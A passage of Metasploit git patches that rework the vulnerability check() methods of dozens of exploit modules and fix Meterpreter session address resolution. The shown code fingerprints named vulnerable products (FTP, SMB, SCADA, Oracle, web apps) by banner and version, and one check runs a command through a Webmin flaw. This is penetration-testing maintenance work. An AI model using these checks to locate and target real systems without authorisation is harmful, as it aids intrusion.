Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/novell/netiq_pum_eval.rb b/modules/exploits/windows/novell/netiq_pum_eval.rb index 70cf850d07..72339b168d 100644 --- a/modules/exploits/windows/novell/netiq_pum_eval.rb +++ b/modules/exploits/windows/novell/netiq_pum_eval.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data, }) - if res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ and res.body =~ /2.3.1/ + if res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ and res.body =~ /2\.3\.1/ return Exploit::CheckCode::Vulnerable elsif res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ return Exploit::CheckCode::Detected diff --git a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb index 88064ab1e8..5078c34d36 100644 --- a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb +++ b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Uploading the CSA#{file_name}.txt file") res = upload_file(data) if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/) - print_error("The test file could not be uploaded") + vprint_error("The test file could not be uploaded") return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/oracle/tns_arguments.rb b/modules/exploits/windows/oracle/tns_arguments.rb index 378df9dbf8..5aae907348 100644 --- a/modules/exploits/windows/oracle/tns_arguments.rb +++ b/modules/exploits/windows/oracle/tns_arguments.rb @@ -52,23 +52,18 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - version = "(CONNECT_DATA=(COMMAND=VERSION))" - pkt = tns_packet(version) - sock.put(pkt) - sock.get_once - res = sock.get_once(-1, 1) - disconnect - if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ ) - return Exploit::CheckCode::Vulnerable - end - return Exploit::CheckCode::Safe + if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ ) + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe end def exploit diff --git a/modules/exploits/windows/oracle/tns_auth_sesskey.rb b/modules/exploits/windows/oracle/tns_auth_sesskey.rb index 3740af9de8..ab2ed6ed9f 100644 --- a/modules/exploits/windows/oracle/tns_auth_sesskey.rb +++ b/modules/exploits/windows/oracle/tns_auth_sesskey.rb @@ -73,7 +73,8 @@ class Metasploit3 < Msf::Exploit::Remote def check version = tns_version if (not version) - fail_with(Failure::Unknown, "Unable to detect the Oracle version!") + vprint_error("Unable to detect the Oracle version!") + return Exploit::CheckCode::Unknown end print_status("Oracle version reply: " + version) return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/) diff --git a/modules/exploits/windows/postgres/postgres_payload.rb b/modules/exploits/windows/postgres/postgres_payload.rb index 216f67b212..6635980c29 100644 --- a/modules/exploits/windows/postgres/postgres_payload.rb +++ b/modules/exploits/windows/postgres/postgres_payload.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote if version[:auth] print_status "Authentication successful. Version: #{version}" - return CheckCode::Vulnerable + return CheckCode::Appears # WRITE permission needs to be proven to get CheckCode::Vulnerable else print_error "Authentication failed. #{version[:preauth] || version[:unknown]}" return CheckCode::Safe diff --git a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb index e4da02825c..1a4dee483c 100644 --- a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb +++ b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (banner =~ /CCProxy Telnet Service Ready/) - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb index cd52220873..e1d85b055b 100644 --- a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb +++ b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote sock.put("GET /\r\n\r\n") # Malformed request to get proxy info banner = sock.get_once || '' if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb index edfaed5062..addf1d8f3a 100644 --- a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb +++ b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if app_info =~ /InduSoft Web Studio v6\.1/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears elsif app_info =~ /InduSoft Web Studio/ return Exploit::CheckCode::Detected end diff --git a/modules/exploits/windows/scada/procyon_core_server.rb b/modules/exploits/windows/scada/procyon_core_server.rb index 9db451612c..938db3f92e 100644 --- a/modules/exploits/windows/scada/procyon_core_server.rb +++ b/modules/exploits/windows/scada/procyon_core_server.rb @@ -74,8 +74,9 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if res =~ /Core Command Interface V1\.(.*)2/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end + return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index c97844902e..e6db55dee7 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -1053,12 +1053,12 @@ class Metasploit3 < Msf::Exploit::Remote connect() smb_login() rescue Rex::ConnectionError => e - print_error("Connection failed: #{e.class}: #{e}") - return + vprint_error("Connection failed: #{e.class}: #{e}") + return Msf::Exploit::CheckCode::Unknown rescue Rex::Proto::SMB::Exceptions::LoginError => e if (e.message =~ /Connection reset/) - print_error("Connection reset during login") - print_error("This most likely means a previous exploit attempt caused the service to crash") + vprint_error("Connection reset during login") + vprint_error("This most likely means a previous exploit attempt caused the service to crash") return Msf::Exploit::CheckCode::Unknown else raise e @@ -1086,7 +1086,8 @@ class Metasploit3 < Msf::Exploit::Remote begin # Samba doesn't have this handle and returns an ErrorCode dcerpc_bind(handle) - rescue Rex::Proto::SMB::Exceptions::ErrorCode + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + vprint_error("SMB error: #{e.message.to_s}") return Msf::Exploit::CheckCode::Safe end @@ -1111,7 +1112,7 @@ class Metasploit3 < Msf::Exploit::Remote if (error == 0x0052005c) # \R :) return Msf::Exploit::CheckCode::Vulnerable else - print_status("System is not vulnerable (status: 0x%08x)" % error) if error + vprint_error("System is not vulnerable (status: 0x%08x)" % error) if error return Msf::Exploit::CheckCode::Safe end end diff --git a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb index 2dcaf2aff2..c97901a355 100644 --- a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb +++ b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (banner =~ /ESMTP TABS Mail Server for Windows NT/) - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/smtp/ypops_overflow1.rb b/modules/exploits/windows/smtp/ypops_overflow1.rb index 25deefe2c3..41708b4586 100644 --- a/modules/exploits/windows/smtp/ypops_overflow1.rb +++ b/modules/exploits/windows/smtp/ypops_overflow1.rb @@ -62,11 +62,11 @@ class Metasploit3 < Msf::Exploit::Remote banner.gsub!(/\n/, '') if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/ - print_status("Vulnerable SMTP server: #{banner}") + vprint_status("Vulnerable SMTP server: #{banner}") return Exploit::CheckCode::Detected end - print_status("Unknown SMTP server: #{banner}") + vprint_status("Unknown SMTP server: #{banner}") return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb index 5068e44677..f4a6b4b396 100644 --- a/modules/exploits/windows/ssh/freesshd_authbypass.rb +++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb @@ -73,8 +73,8 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if banner =~ /SSH\-2\.0\-WeOnlyDo/ version=banner.split(" ")[1] - return Exploit::CheckCode::Vulnerable if version =~ /(2\.1\.3|2\.0\.6)/ - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Appears if version =~ /(2\.1\.3|2\.0\.6)/ + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ssh/sysax_ssh_username.rb b/modules/exploits/windows/ssh/sysax_ssh_username.rb index 7700f50f8c..feb189f068 100644 --- a/modules/exploits/windows/ssh/sysax_ssh_username.rb +++ b/modules/exploits/windows/ssh/sysax_ssh_username.rb @@ -75,10 +75,13 @@ class Metasploit3 < Msf::Exploit::Remote connect banner = sock.get_once(-1,5) || '' disconnect + vprint_status("Banner: #{banner}") if banner =~ /SSH\-2\.0\-SysaxSSH_1\.0/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end rescue + vprint_error("An error has occured while trying to read a response from target") + return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb index 3da111b348..548edfabf6 100644 --- a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb +++ b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb @@ -82,12 +82,13 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - print_status("Attempting to determine if target is vulnerable...") + print_status("Attempting to determine if target is possibly vulnerable...") select(nil,nil,nil,7) banner = sock.get_once(-1,3) || '' + vprint_status("Banner: #{banner}") if (banner =~ /TelSrv 1\.5/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end From ac151794f351886392b8872ed08ce594223779ed Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Tue, 21 Jan 2014 00:32:50 -0500 Subject: [PATCH 039/246] Make Meterpreter Session Address Resolution Sane If MSF can not match the visible IP address of a Meterpreter session to an interface--it will attempt to find an IP address associated with a default route and use it as the session's address. This commit fixes the logic associated with this process. The old logic only considers one IP address per Interface, even though an Interface may have multiple addresses/masks associated with it. This flaw led to situations where MSF would favor an IPv6 link-local address over the IPv4 address associated with the default route, solely because the IPv4 address was not the first value in the addresses array. [FixRM #7259] --- lib/msf/base/sessions/meterpreter.rb | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 7b6c6d713e..75124131d1 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -320,12 +320,17 @@ class Meterpreter < Rex::Post::Meterpreter::Client default_routes = routes.select{ |r| r.subnet == "0.0.0.0" || r.subnet == "::" } default_routes.each do |r| ifaces.each do |i| - bits = Rex::Socket.net2bitmask( i.netmask ) rescue 32 - rang = Rex::Socket::RangeWalker.new( "#{i.ip}/#{bits}" ) rescue nil - if rang and rang.include?( r.gateway ) - nhost = i.ip - break + # Look at each addr/netmask and see if it matches our gateway + i.addrs.zip(i.netmasks).each do |a| + bits = Rex::Socket.net2bitmask( a[1] ) + rang = Rex::Socket::RangeWalker.new( "#{a[0]}/#{bits}" ) rescue nil + if rang and rang.include?( r.gateway ) + nhost = a[0] + break + end + break if nhost end + break if nhost end break if nhost end From fe767f3f64001c097e8b3ecc4dd94cfb791f2a5a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 21 Jan 2014 11:07:03 -0600 Subject: [PATCH 040/246] Saving progress Progress group 2: Making sure these checks comply with the new guidelines. Please read: "How to write a check() method" found in the wiki. --- .../webapp/vicidial_manager_send_cmd_exec.rb | 2 +- .../unix/webapp/webmin_show_cgi_exec.rb | 12 +++++----- .../exploits/unix/webapp/webtester_exec.rb | 8 +++---- .../webapp/wp_advanced_custom_fields_exec.rb | 2 +- .../wp_google_document_embedder_exec.rb | 2 +- .../exploits/unix/webapp/xoda_file_upload.rb | 2 +- .../exploits/unix/webapp/zeroshell_exec.rb | 2 +- .../webapp/zoneminder_packagecontrol_exec.rb | 10 ++++----- .../unix/webapp/zpanel_username_exec.rb | 2 +- modules/exploits/windows/arkeia/type77.rb | 8 +++---- .../windows/backupexec/remote_agent.rb | 8 +++---- .../windows/brightstor/lgserver_multi.rb | 4 ++-- .../windows/brightstor/lgserver_rxrlogin.rb | 4 ++-- ...erver_rxssetdatagrowthscheduleandfilter.rb | 4 ++-- .../brightstor/lgserver_rxsuselicenseini.rb | 4 ++-- .../exploits/windows/ftp/3cdaemon_ftp_user.rb | 2 +- .../windows/ftp/ability_server_stor.rb | 2 +- modules/exploits/windows/ftp/cesarftp_mkd.rb | 2 +- .../exploits/windows/ftp/dreamftp_format.rb | 2 +- .../windows/ftp/easyfilesharing_pass.rb | 2 +- .../windows/ftp/easyftp_cwd_fixret.rb | 2 +- .../windows/ftp/easyftp_list_fixret.rb | 2 +- .../windows/ftp/easyftp_mkd_fixret.rb | 2 +- .../exploits/windows/ftp/freefloatftp_user.rb | 1 + .../exploits/windows/ftp/freefloatftp_wbem.rb | 2 +- modules/exploits/windows/ftp/freeftpd_pass.rb | 2 +- modules/exploits/windows/ftp/freeftpd_user.rb | 2 +- .../windows/ftp/goldenftp_pass_bof.rb | 2 +- .../windows/ftp/httpdx_tolog_format.rb | 4 ++-- .../windows/ftp/netterm_netftpd_user.rb | 2 +- .../exploits/windows/ftp/open_ftpd_wbem.rb | 2 +- .../windows/ftp/oracle9i_xdb_ftp_pass.rb | 2 +- .../windows/ftp/oracle9i_xdb_ftp_unlock.rb | 2 +- modules/exploits/windows/ftp/pcman_stor.rb | 6 ++--- modules/exploits/windows/ftp/ricoh_dl_bof.rb | 2 +- .../exploits/windows/ftp/sami_ftpd_user.rb | 4 ++-- modules/exploits/windows/ftp/servu_chmod.rb | 2 +- modules/exploits/windows/ftp/servu_mdtm.rb | 22 +++++++++---------- modules/exploits/windows/ftp/turboftp_port.rb | 4 ++-- .../windows/ftp/vermillion_ftpd_port.rb | 4 ++-- .../windows/ftp/wsftp_server_503_mkd.rb | 2 +- .../windows/ftp/wsftp_server_505_xmd5.rb | 4 ++-- modules/exploits/windows/ftp/xlink_server.rb | 2 +- .../exploits/windows/games/ut2004_secure.rb | 8 +++---- .../windows/http/altn_securitygateway.rb | 2 +- .../exploits/windows/http/apache_chunked.rb | 18 ++++++--------- .../windows/http/apache_modjk_overflow.rb | 4 ++-- .../windows/http/badblue_ext_overflow.rb | 2 +- .../exploits/windows/http/cyclope_ess_sqli.rb | 8 +++---- .../http/desktopcentral_file_upload.rb | 2 +- modules/exploits/windows/http/easyftp_list.rb | 4 ++-- .../windows/http/hp_imc_bims_upload.rb | 2 +- .../http/hp_loadrunner_copyfiletoserver.rb | 12 +++++----- modules/exploits/windows/http/hp_nnm_ovas.rb | 6 ++--- .../windows/http/httpdx_handlepeer.rb | 2 +- .../windows/http/httpdx_tolog_format.rb | 2 +- modules/exploits/windows/http/intrasrv_bof.rb | 4 ++-- modules/exploits/windows/http/kolibri_http.rb | 2 +- .../windows/http/mailenable_auth_header.rb | 2 +- .../windows/http/mcafee_epolicy_source.rb | 2 +- .../http/mdaemon_worldclient_form2raw.rb | 5 +++-- .../windows/http/miniweb_upload_wbem.rb | 6 ++--- .../windows/http/navicopa_get_overflow.rb | 4 ++-- .../windows/http/netdecision_http_bof.rb | 2 +- .../exploits/windows/http/novell_mdm_lfi.rb | 2 +- .../windows/http/oracle9i_xdb_pass.rb | 4 ++-- .../windows/http/oracle_endeca_exec.rb | 6 ++--- .../windows/http/psoproxy91_overflow.rb | 2 +- .../http/sap_configservlet_exec_noauth.rb | 10 +++++---- .../windows/http/sap_host_control_cmd_exec.rb | 2 +- .../windows/http/savant_31_overflow.rb | 2 +- .../windows/http/servu_session_cookie.rb | 2 +- .../exploits/windows/http/shoutcast_format.rb | 7 +++--- .../http/sonicwall_scrutinizer_sqli.rb | 2 +- .../windows/http/steamcast_useragent.rb | 4 ++-- .../windows/http/sws_connection_bof.rb | 2 +- .../http/trackercam_phparg_overflow.rb | 4 ++-- 77 files changed, 155 insertions(+), 156 deletions(-) diff --git a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb index becbb997bc..dcf88c8a12 100644 --- a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb @@ -164,7 +164,7 @@ class Metasploit3 < Msf::Exploit::Remote end end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end def exploit diff --git a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb index 5e932cffe7..9de059083a 100644 --- a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb +++ b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote peer = "#{rhost}:#{rport}" - print_status("#{peer} - Attempting to login...") + vprint_status("#{peer} - Attempting to login...") data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}" @@ -76,14 +76,14 @@ class Metasploit3 < Msf::Exploit::Remote }, 25) if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/ - print_good "#{peer} - Authentication successful" + vprint_good "#{peer} - Authentication successful" session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0] else - print_error "#{peer} - Authentication failed" - return Exploit::CheckCode::Unknown + vprint_error "#{peer} - Service found, but authentication failed" + return Exploit::CheckCode::Detected end - print_status("#{peer} - Attempting to execute...") + vprint_status("#{peer} - Attempting to execute...") command = "echo #{rand_text_alphanumeric(rand(5) + 5)}" @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote if res and res.code == 200 and res.message =~ /Document follows/ - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb index 96bb9c7cae..b77b968d9e 100644 --- a/modules/exploits/unix/webapp/webtester_exec.rb +++ b/modules/exploits/unix/webapp/webtester_exec.rb @@ -59,16 +59,16 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) }) if not res - print_error("#{peer} - Connection timed out") + vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end if res.body =~ /Eppler Software/ if res.body =~ / - v5\.1\.20101016/ - print_status("#{peer} - Found version: 5.1.20101016") - return Exploit::CheckCode::Vulnerable + vprint_status("#{peer} - Found version: 5.1.20101016") + return Exploit::CheckCode::Appears elsif res.body =~ / - v(5\.[\d\.]+)/ - print_status("#{peer} - Found version: #{$1}") + vprint_status("#{peer} - Found version: #{$1}") return Exploit::CheckCode::Appears else return Exploit::CheckCode::Detected diff --git a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb index 321429410d..bdb1719f9c 100644 --- a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb +++ b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 200 - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb index c8cd1a4cec..d52ecda3a8 100644 --- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 200 - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb b/modules/exploits/unix/webapp/xoda_file_upload.rb index b33a939eb8..0ad5036393 100644 --- a/modules/exploits/unix/webapp/xoda_file_upload.rb +++ b/modules/exploits/unix/webapp/xoda_file_upload.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 200 and res.body =~ /Upload a file/ - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb index 223c23387f..8558d6edcb 100644 --- a/modules/exploits/unix/webapp/zeroshell_exec.rb +++ b/modules/exploits/unix/webapp/zeroshell_exec.rb @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote end unless password.nil? - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index b8daa7a0c7..3f8dab74c2 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -81,19 +81,19 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 200 if res.body =~ /ZM - Login<\/title>/ - print_error("#{peer} - Authentication failed") - return Exploit::CheckCode::Unknown + vprint_error("#{peer} - Service found, but authentication failed") + return Exploit::CheckCode::Detected elsif res.body =~ /v1.2(4\.\d+|5\.0)/ return Exploit::CheckCode::Appears elsif res.body =~ /<title>ZM/ return Exploit::CheckCode::Detected end end - return Exploit::CheckCode::Safe rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp - print_error("#{peer} - Connection failed") + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/zpanel_username_exec.rb b/modules/exploits/unix/webapp/zpanel_username_exec.rb index adbe4790d0..e4508a5448 100644 --- a/modules/exploits/unix/webapp/zpanel_username_exec.rb +++ b/modules/exploits/unix/webapp/zpanel_username_exec.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw({'uri' => normalize_uri(target_uri.path)}) if not res - print_error("#{peer} - Connection timed out") + vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end diff --git a/modules/exploits/windows/arkeia/type77.rb b/modules/exploits/windows/arkeia/type77.rb index a9ad2d65b4..3fce25e2a8 100644 --- a/modules/exploits/windows/arkeia/type77.rb +++ b/modules/exploits/windows/arkeia/type77.rb @@ -64,18 +64,18 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe end - print_status("Arkeia Server Information:") + vprint_status("Arkeia Server Information:") info.each_pair { |k,v| - print_status(" #{k + (" " * (30-k.length))} = #{v}") + vprint_status(" #{k + (" " * (30-k.length))} = #{v}") } if (info['System'] !~ /Windows/) - print_status("This module only supports Windows targets") + vprint_status("This module only supports Windows targets") return Exploit::CheckCode::Detected end if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/backupexec/remote_agent.rb b/modules/exploits/windows/backupexec/remote_agent.rb index 6f11e89844..2fd714b4ab 100644 --- a/modules/exploits/windows/backupexec/remote_agent.rb +++ b/modules/exploits/windows/backupexec/remote_agent.rb @@ -72,12 +72,12 @@ class Metasploit3 < Msf::Exploit::Remote def check info = ndmp_info() if (info and info['Version']) - print_status(" Vendor: #{info['Vendor']}") - print_status("Product: #{info['Product']}") - print_status("Version: #{info['Version']}") + vprint_status(" Vendor: #{info['Vendor']}") + vprint_status("Product: #{info['Product']}") + vprint_status("Version: #{info['Version']}") if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/) - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/brightstor/lgserver_multi.rb b/modules/exploits/windows/brightstor/lgserver_multi.rb index 2ab16594ab..98439c43e1 100644 --- a/modules/exploits/windows/brightstor/lgserver_multi.rb +++ b/modules/exploits/windows/brightstor/lgserver_multi.rb @@ -59,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote disconnect - if ( ver and ver =~ /11.1.742/ ) - return Exploit::CheckCode::Vulnerable + if ( ver and ver =~ /11\.1\.742/ ) + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb index 69f2d859d9..5fdf8e7adb 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb @@ -58,8 +58,8 @@ class Metasploit3 < Msf::Exploit::Remote disconnect - if ( ver and ver =~ /11.1.742/ ) - return Exploit::CheckCode::Vulnerable + if ( ver and ver =~ /11\.1\.742/ ) + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb index 6184fea782..4a0dae440c 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb @@ -58,8 +58,8 @@ class Metasploit3 < Msf::Exploit::Remote disconnect - if ( ver and ver =~ /11.1.742/ ) - return Exploit::CheckCode::Vulnerable + if ( ver and ver =~ /11\.1\.742/ ) + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb index b2350639b3..0fe297e944 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb @@ -57,8 +57,8 @@ class Metasploit3 < Msf::Exploit::Remote disconnect - if ( ver and ver =~ /11.1.742/ ) - return Exploit::CheckCode::Vulnerable + if ( ver and ver =~ /11\.1\.742/ ) + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb index ade7b85090..32095986ce 100644 --- a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb +++ b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb @@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/ability_server_stor.rb b/modules/exploits/windows/ftp/ability_server_stor.rb index 7cdc971e4f..5f48396b1f 100644 --- a/modules/exploits/windows/ftp/ability_server_stor.rb +++ b/modules/exploits/windows/ftp/ability_server_stor.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect if banner =~ /Ability Server 2\.34/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears else if banner =~ /Ability Server/ return Exploit::CheckCode::Detected diff --git a/modules/exploits/windows/ftp/cesarftp_mkd.rb b/modules/exploits/windows/ftp/cesarftp_mkd.rb index e657d375ce..ea1babc50c 100644 --- a/modules/exploits/windows/ftp/cesarftp_mkd.rb +++ b/modules/exploits/windows/ftp/cesarftp_mkd.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (banner =~ /CesarFTP 0\.99g/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/dreamftp_format.rb b/modules/exploits/windows/ftp/dreamftp_format.rb index 05e8bda803..18d38e518a 100644 --- a/modules/exploits/windows/ftp/dreamftp_format.rb +++ b/modules/exploits/windows/ftp/dreamftp_format.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote banner = sock.get(-1,3) disconnect if (banner =~ /Dream FTP Server/) - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/ftp/easyfilesharing_pass.rb b/modules/exploits/windows/ftp/easyfilesharing_pass.rb index 